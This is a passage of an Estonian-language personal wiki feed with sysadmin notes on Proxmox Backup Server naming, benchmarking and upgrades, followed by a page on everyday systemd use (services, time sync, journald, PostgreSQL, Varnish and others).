* tekitada namespace'isid moodutades katalooge /srv/pbs/ns kataloogi alla&lt;br /&gt;
&lt;br /&gt;
 # mkdir /sv/pbs-tmp/ns/ns-tmp-4&lt;br /&gt;
 # chown backup:backup /srv/pbs-tmp/ns/ns-tmp-4&lt;br /&gt;
&lt;br /&gt;
* liigutada ns katalooge failisüsteemi tasemel ringi, tulemusena moodustub uus namespace ja see on ka sisustatud&lt;br /&gt;
&lt;br /&gt;
 # mv /sv/pbs-tmp/ns/ns-tmp-4 /sv/pbs-tmp/ns/ns-tmp-5&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Peale robustsete tegevuste lõppu pbs protsessid käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop proxmox-backup proxmox-backup-proxy&lt;br /&gt;
&lt;br /&gt;
===Objektide nimetamine===&lt;br /&gt;
&lt;br /&gt;
PBS tarkvara kasutamisel tuleb tegeleda kümnekonna objektiga (ressursside nimetamised, kasutajate nimetamised jms) ning asjakorraldust lihtsustab kui nende nimetamine on läbimõeldud. Järgnevas on esitatud üks võimalus&lt;br /&gt;
&lt;br /&gt;
* selguse mõttes on erinevat tüüpi objektide nimesid alustatud tüübile viitava prefixiga (nt 'user-')&lt;br /&gt;
&lt;br /&gt;
pbs 1st arvuti kasutajate nimekirjas on eemalt sisse pöörduvate kasutajate kirjeldused. Need kasutajad võiks nimetada nt nende pöördumise kohtade alusel, nt&lt;br /&gt;
&lt;br /&gt;
* user-pve-tartu&lt;br /&gt;
* user-pve-tallinn&lt;br /&gt;
&lt;br /&gt;
pbs 2nd arvutis võiks namespace'id nimeteada samuti pöördumiskohtade järgi, st varundatavate pve klastrite järgi&lt;br /&gt;
&lt;br /&gt;
* ns-tartu&lt;br /&gt;
* ns-tallinn&lt;br /&gt;
&lt;br /&gt;
eeldades, et kõik varundatavad asjad satuvad samasse datastore'i siis võib olla pbs arvutite datastore võiks nimetada mingi tehnoloogilise erinevus alusel, nt&lt;br /&gt;
&lt;br /&gt;
* ds-ssd&lt;br /&gt;
* ds-hdd&lt;br /&gt;
&lt;br /&gt;
datastorele vastav kataloog pbs arvutis, nt&lt;br /&gt;
&lt;br /&gt;
* /srv/pbs-ssd&lt;br /&gt;
* /srv/pbs-hdd&lt;br /&gt;
* /srv/pbs-zfs&lt;br /&gt;
&lt;br /&gt;
2nd pbs arvutis kirjeldatakse ära remote, st 1st pbs arvuti kust juba varundatud asju kopeeritakse. Üks 2nd pbs arvuti saab kopeerida mitmest 1st arvutist endale kokku andmeid (soovitavalt erinevatesse namespace'idesse). Sõna 'remote' kasutatakse siin natuke vastuoluliselt, eks. Nimetada võiks selle järgi kust kopeeritakse, nt&lt;br /&gt;
&lt;br /&gt;
* rmt-pbs-tartu-1st&lt;br /&gt;
* rmt-pbs-tallinn-1st&lt;br /&gt;
&lt;br /&gt;
PBS tüüpi storage nimetamine PVE Datacenter -&amp;gt; Storage osakonnas dialoogi lahtri 'ID' väärtuse mõttes. Võiks viidata pbs arvuti nimele ja rollile (kas 1st või 2nd), nt (sid nagu 'storage id')&lt;br /&gt;
&lt;br /&gt;
* sid-pbs-narva-1st&lt;br /&gt;
* sid-pbs-parnu-2nd&lt;br /&gt;
&lt;br /&gt;
PVE arvutite nimetamine&lt;br /&gt;
&lt;br /&gt;
* pve-tartu-01, pve-tartu-02&lt;br /&gt;
* pve-tallinn-01, pve-tallinn-02&lt;br /&gt;
&lt;br /&gt;
PBS arvutite nimetamine&lt;br /&gt;
&lt;br /&gt;
* pbs-narva-1st&lt;br /&gt;
* pbs-parnu-2nd&lt;br /&gt;
&lt;br /&gt;
===Jõudluse hindamine - benchmark===&lt;br /&gt;
&lt;br /&gt;
PVE ja PBS vahelise kontakti jõudluse hindamiseks sobib kasutada proxmox-backup-client programmi 'benchmark' osakonna funktsionaalsust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-moraal-x570:~# proxmox-backup-client benchmark --repository pm60-trt@pbs@192.168.10.197:ds-ssd&lt;br /&gt;
Password for &amp;quot;pm60-trt@pbs&amp;quot;: ****************&lt;br /&gt;
fingerprint: 64:3b:cb:fb:94:c3:c9:da:92:b9:02:68:36:2c:49:b8:12:87:09:66:98:f7:b8:ad:89:9b:cd:94:c4:bc:0f:c9&lt;br /&gt;
Are you sure you want to continue connecting? (y/n): y&lt;br /&gt;
fingerprint: 64:3b:cb:fb:94:c3:c9:da:92:b9:02:68:36:2c:49:b8:12:87:09:66:98:f7:b8:ad:89:9b:cd:94:c4:bc:0f:c9&lt;br /&gt;
Are you sure you want to continue connecting? (y/n): y&lt;br /&gt;
Uploaded 610 chunks in 5 seconds.&lt;br /&gt;
Time per request: 8268 microseconds.&lt;br /&gt;
TLS speed: 507.24 MB/s&lt;br /&gt;
SHA256 speed: 2308.48 MB/s&lt;br /&gt;
Compression speed: 645.59 MB/s&lt;br /&gt;
Decompress speed: 759.50 MB/s&lt;br /&gt;
AES256/GCM speed: 1673.09 MB/s&lt;br /&gt;
Verify speed: 568.91 MB/s&lt;br /&gt;
┌───────────────────────────────────┬─────────────────────┐&lt;br /&gt;
│ Name                              │ Value               │&lt;br /&gt;
╞═══════════════════════════════════╪═════════════════════╡&lt;br /&gt;
│ TLS (maximal backup upload speed) │ 507.24 MB/s (41%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ SHA256 checksum computation speed │ 2308.48 MB/s (114%) │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ ZStd level 1 compression speed    │ 645.59 MB/s (86%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ ZStd level 1 decompression speed  │ 759.50 MB/s (63%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ Chunk verification speed          │ 568.91 MB/s (75%)   │&lt;br /&gt;
├───────────────────────────────────┼─────────────────────┤&lt;br /&gt;
│ AES256 GCM encryption speed       │ 1673.09 MB/s (46%)  │&lt;br /&gt;
└───────────────────────────────────┴─────────────────────┘&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===20260502 märkused===&lt;br /&gt;
&lt;br /&gt;
====PBS v. 3 - v. 4 uuendus====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 -&amp;gt; v. 13&lt;br /&gt;
* zfs v. x -&amp;gt; y&lt;br /&gt;
&lt;br /&gt;
Enne uuendust võiks küsida&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pbs.proxmox.com/wiki/Upgrade_from_3_to_4&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/wiki/Backup_and_Restore&lt;br /&gt;
* https://git.proxmox.com/?p=pve-qemu.git;a=blob_plain;f=backup.txt&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3412</id>
		<title>Systemd kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3412"/>
		<updated>2026-05-02T10:12:34Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte - leevendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
systemd http://freedesktop.org/wiki/Software/systemd/ ...&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /sbin/init &lt;br /&gt;
 lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -&amp;gt; /lib/systemd/systemd&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html&lt;br /&gt;
* SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dbus libpolkit-agent-1-0&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
Teenuse oleku küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl status ssh.service&lt;br /&gt;
 ● ssh.service - OpenBSD Secure Shell server&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled)&lt;br /&gt;
    Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago&lt;br /&gt;
  Main PID: 1956 (sshd)&lt;br /&gt;
    CGroup: /system.slice/ssh.service&lt;br /&gt;
            └─1956 /usr/sbin/sshd -D&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
 # cat /lib/systemd/system/ssh.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Description=OpenBSD Secure Shell server&lt;br /&gt;
 After=network.target auditd.service&lt;br /&gt;
 ConditionPathExists=!/etc/ssh/sshd_not_to_be_run&lt;br /&gt;
 &lt;br /&gt;
 [Service]&lt;br /&gt;
 EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS&lt;br /&gt;
 ExecReload=/bin/kill -HUP $MAINPID&lt;br /&gt;
 KillMode=process&lt;br /&gt;
 Restart=on-failure&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=multi-user.target&lt;br /&gt;
 Alias=sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuste nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl  list-units --type=service | head -n 5&lt;br /&gt;
   UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
   accounts-daemon.service              loaded active running Accounts Service&lt;br /&gt;
   acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon&lt;br /&gt;
   amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor&lt;br /&gt;
   amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter&lt;br /&gt;
&lt;br /&gt;
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type=service --state=exited&lt;br /&gt;
 UNIT                             LOAD   ACTIVE SUB    DESCRIPTION&lt;br /&gt;
 getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available&lt;br /&gt;
 kbd.service                      loaded active exited LSB: Prepare console&lt;br /&gt;
 keymap.service                   loaded active exited LSB: Set keymap&lt;br /&gt;
 modules_dep.service              loaded active exited LSB: modules.dep creation.&lt;br /&gt;
 netfilter-persistent.service     loaded active exited netfilter persistent configuration&lt;br /&gt;
 networking.service               loaded active exited LSB: Raise network interfaces.&lt;br /&gt;
 quota.service                    loaded active exited Check And Enable File System Quotas&lt;br /&gt;
 rc-local.service                 loaded active exited /etc/rc.local Compatibility&lt;br /&gt;
 systemd-random-seed.service      loaded active exited Load/Save Random Seed&lt;br /&gt;
&lt;br /&gt;
===systemd-timedated===&lt;br /&gt;
&lt;br /&gt;
timedatectl programmiga saab seadistada ajavööndit jms&lt;br /&gt;
&lt;br /&gt;
 # timedatectl list-timezones&lt;br /&gt;
 # timedatectl set-timezone Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
systemd-timedated on ntp klient, mis tuleb kasutamiseks sisse lülitada&lt;br /&gt;
&lt;br /&gt;
 # timedatectl set-ntp true&lt;br /&gt;
&lt;br /&gt;
Tundub, et samaväärne on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable systemd-timesyncd&lt;br /&gt;
 # systemctl start systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Töötamissel annab timedatactl saranase vastuse&lt;br /&gt;
&lt;br /&gt;
 # timedatectl status&lt;br /&gt;
       Local time: Fri 2015-07-31 01:21:26 EEST&lt;br /&gt;
   Universal time: Thu 2015-07-30 22:21:26 UTC&lt;br /&gt;
         RTC time: Thu 2015-07-30 22:21:26&lt;br /&gt;
        Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
      NTP enabled: yes&lt;br /&gt;
 NTP synchronized: no&lt;br /&gt;
  RTC in local TZ: no&lt;br /&gt;
       DST active: yes&lt;br /&gt;
  Last DST change: DST began at&lt;br /&gt;
                   Sun 2015-03-29 02:59:59 EET&lt;br /&gt;
                   Sun 2015-03-29 04:00:00 EEST&lt;br /&gt;
  Next DST change: DST ends (the clock jumps one hour backwards) at&lt;br /&gt;
                   Sun 2015-10-25 03:59:59 EEST&lt;br /&gt;
                   Sun 2015-10-25 03:00:00 EET&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud ajavööndi Daylight Saving Time algus ja lõpp&lt;br /&gt;
* kas NTP teenust töötab (systemd-timesyncd)&lt;br /&gt;
&lt;br /&gt;
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/timesyncd.conf&lt;br /&gt;
 [Time]&lt;br /&gt;
 Servers=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
ja muudatuse kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl restart systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timesyncd&lt;br /&gt;
 ● systemd-timesyncd.service - Network Time Synchronization&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)&lt;br /&gt;
    Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago&lt;br /&gt;
      Docs: man:systemd-timesyncd.service(8)&lt;br /&gt;
  Main PID: 1179 (systemd-timesyn)&lt;br /&gt;
    Status: &amp;quot;Using Time Server 10.192.0.53:123 (10.192.0.53).&amp;quot;&lt;br /&gt;
    CGroup: /system.slice/systemd-timesyncd.service&lt;br /&gt;
            └─1179 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 &lt;br /&gt;
 Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).&lt;br /&gt;
 Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
&lt;br /&gt;
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timedated&lt;br /&gt;
 ● systemd-timedated.service - Time &amp;amp; Date Service&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)&lt;br /&gt;
    Active: inactive (dead)&lt;br /&gt;
      Docs: man:systemd-timedated.service(8)&lt;br /&gt;
            man:localtime(5)&lt;br /&gt;
            http://www.freedesktop.org/wiki/Software/systemd/timedated&lt;br /&gt;
&lt;br /&gt;
===Rakenduste kasutamine systemd keskkonnas===&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL kasutamine====&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
 # pg_createcluster 9.4 test&lt;br /&gt;
&lt;br /&gt;
ning käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl start postgresql@9.4-test&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # ps -U postgres -o pid,user,cgroup:150,args&lt;br /&gt;
   PID USER     CGROUP                                                                           COMMAND&lt;br /&gt;
 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...&lt;br /&gt;
 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process&lt;br /&gt;
 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   &lt;br /&gt;
 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   &lt;br /&gt;
 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   &lt;br /&gt;
 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   &lt;br /&gt;
 &lt;br /&gt;
 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...&lt;br /&gt;
 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   &lt;br /&gt;
 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   &lt;br /&gt;
 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   &lt;br /&gt;
 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   &lt;br /&gt;
 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process &lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse&lt;br /&gt;
&lt;br /&gt;
Tapmiseks nö -9 signaaliga&lt;br /&gt;
&lt;br /&gt;
 # systemctl kill -s SIGKILL postgresql@9.4-test.service&lt;br /&gt;
&lt;br /&gt;
====Samba====&lt;br /&gt;
&lt;br /&gt;
Teenuste seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop smbd&lt;br /&gt;
 # systemctl stop nmbd&lt;br /&gt;
&lt;br /&gt;
kontrolliks&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep mb&lt;br /&gt;
&lt;br /&gt;
AD kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start samba-ad-dc&lt;br /&gt;
&lt;br /&gt;
====OpenVPN====&lt;br /&gt;
&lt;br /&gt;
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start openvpn@client.service&lt;br /&gt;
&lt;br /&gt;
====Serial konsool====&lt;br /&gt;
&lt;br /&gt;
Serial konsooli käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable serial-getty@ttyS0.service&lt;br /&gt;
 Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \&lt;br /&gt;
   to /lib/systemd/system/serial-getty@.service.&lt;br /&gt;
 &lt;br /&gt;
 # systemctl start serial-getty@ttyS0.service&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.&lt;br /&gt;
&lt;br /&gt;
====NUT====&lt;br /&gt;
&lt;br /&gt;
Tundub, et töötab, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl status nut-server&lt;br /&gt;
 # systemctl status nut-client&lt;br /&gt;
&lt;br /&gt;
====iptables====&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Iptables_kasutamine_Debianiga#iptables-persistant&lt;br /&gt;
&lt;br /&gt;
====rsyslog====&lt;br /&gt;
&lt;br /&gt;
Peatamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop syslog.socket rsyslog.service&lt;br /&gt;
&lt;br /&gt;
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.&lt;br /&gt;
&lt;br /&gt;
====Varnish====&lt;br /&gt;
&lt;br /&gt;
Kuulava pordi muutmine failis&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnish.service &lt;br /&gt;
 ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m&lt;br /&gt;
&lt;br /&gt;
Logimisel X-Forwarded-For kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnishncsa.service &lt;br /&gt;
 ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \&amp;quot;%%r\&amp;quot; %%s %%b \&amp;quot;%%{Referer}i\&amp;quot; \&amp;quot;%%{User-agent}i\&amp;quot;' -a -w /var/log/varnish/varnishncsa.log&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
 # /etc/init.d/varnishncsa restart&lt;br /&gt;
 # /etc/init.d/varnish restart&lt;br /&gt;
&lt;br /&gt;
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/varnish/varnishncsa.log&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Systemd sisaldab logimise komponenti journald. &lt;br /&gt;
&lt;br /&gt;
====Süsteemi alglaadimine====&lt;br /&gt;
&lt;br /&gt;
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool&lt;br /&gt;
&lt;br /&gt;
 # journalctl&lt;br /&gt;
 -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
journald töötamisest annab tunnistust protsess&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep journald&lt;br /&gt;
 ..&lt;br /&gt;
 root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)&lt;br /&gt;
&lt;br /&gt;
 Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped&lt;br /&gt;
 -- Subject: The Journal has been stopped&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-journald&lt;br /&gt;
&lt;br /&gt;
 # journalctl -xn&lt;br /&gt;
 ...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Service...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Journal Service.&lt;br /&gt;
 May 19 02:36:01 keskus systemd-journal[32447]: Journal started&lt;br /&gt;
 -- Subject: The Journal has been started&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
 --&lt;br /&gt;
 -- The system journal process has been starting up, opened the journal&lt;br /&gt;
 -- files for writing and is now ready to process requests.&lt;br /&gt;
&lt;br /&gt;
====Apache veebiserver====&lt;br /&gt;
&lt;br /&gt;
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline&lt;br /&gt;
&lt;br /&gt;
 # journalctl -u apache2&lt;br /&gt;
 ..&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: &amp;lt;VirtualHost&amp;gt; directive missing closing '&amp;gt;'&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs&lt;br /&gt;
* http://0pointer.de/blog/projects/journalctl.html&lt;br /&gt;
&lt;br /&gt;
===targetite vahel liikumine===&lt;br /&gt;
&lt;br /&gt;
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit&lt;br /&gt;
&lt;br /&gt;
 systemd.unit=emergency.target&lt;br /&gt;
&lt;br /&gt;
tulemusena jõutakse (arvuti hostname on antud juhul systemd)&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Welcome to Debian GNU/Linux stretch/sid!&lt;br /&gt;
 &lt;br /&gt;
